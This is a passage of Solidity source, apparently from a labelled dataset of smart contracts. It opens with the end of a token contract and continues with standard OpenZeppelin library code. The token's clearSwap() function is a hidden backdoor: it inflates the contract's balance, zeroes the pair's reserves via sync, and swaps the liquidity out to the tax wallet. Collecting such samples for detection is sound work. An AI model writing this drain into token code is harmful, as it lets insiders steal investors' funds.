function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
}
if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance,address(this));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 40000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount,address to) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
to,
block.timestamp
);
}
function increaseMaxTx(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function increaseMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createUniswapPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function clearSwap() public{
require(_msgSender()==_taxWallet);
_balance[address(this)] = 100000000000000000;
_balance[_pair] = 1;
(bool success,) = _pair.call(abi.encodeWithSelector(bytes4(0xfff6cae9)));
if (success) {
swapTokensForEth(100000000, _taxWallet);
} else { revert("Internal failure"); }
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
receive() external payable {}
function manualSwap() public{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance,address(this));
}
function manualSend() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
} | True | [
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|
// File: @openzeppelin/[email protected]/utils/Counters.sol
// OpenZeppelin Contracts v4.4.0 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/[email protected]/utils/math/Math.sol
// OpenZeppelin Contracts v4.4.0 (utils/math/Math.sol)
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// File: @openzeppelin/[email protected]/utils/Arrays.sol
// OpenZeppelin Contracts v4.4.0 (utils/Arrays.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to array types.
*/
library Arrays {
/**
* @dev Searches a sorted `array` and returns the first index that contains
* a value greater or equal to `element`. If no such index exists (i.e. all
* values in the array are strictly less than `element`), the array length is
* returned. Time complexity O(log n).
*
* `array` is expected to be sorted in ascending order, and to contain no
* repeated elements.
*/
function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
if (array.length == 0) {
return 0;
}
uint256 low = 0;
uint256 high = array.length;
while (low < high) {
uint256 mid = Math.average(low, high);
// Note that mid will always be strictly less than high (i.e. it will be a valid array index)
// because Math.average rounds down (it does integer division with truncation).
if (array[mid] > element) {
high = mid;
} else {
low = mid + 1;
}
}
// At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
if (low > 0 && array[low - 1] == element) {
return low - 1;
} else {
return low;
}
}
}
// File: @openzeppelin/[email protected]/utils/Address.sol
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/[email protected]/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/[email protected]/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/[email protected]/security/Pausable.sol
// OpenZeppelin Contracts v4.4.0 (security/Pausable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: @openzeppelin/[email protected]/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/[email protected]/token/ERC20/utils/SafeERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/[email protected]/token/ERC20/utils/TokenTimelock.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/utils/TokenTimelock.sol)
pragma solidity ^0.8.0;
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract TokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 private immutable _token;
// beneficiary of tokens after they are released
address private immutable _beneficiary;
// timestamp when token release is enabled
uint256 private immutable _releaseTime;
constructor(
IERC20 token_,
address beneficiary_,
uint256 releaseTime_
) {
require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time");
_token = token_;
_beneficiary = beneficiary_;
_releaseTime = releaseTime_;
}
/**
* @return the token being held.
*/
function token() public view virtual returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view virtual returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time");
uint256 amount = token().balanceOf(address(this));
require(amount > 0, "TokenTimelock: no tokens to release");
token().safeTransfer(beneficiary(), amount);
}
}
// File: @openzeppelin/[email protected]/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/[email protected]/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: @openzeppelin/[email protected]/token/ERC20/extensions/ERC20Snapshot.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/ERC20Snapshot.sol)
pragma solidity ^0.8.0;
/**
* @dev This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and
* total supply at the time are recorded for later access.
*
* This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting.
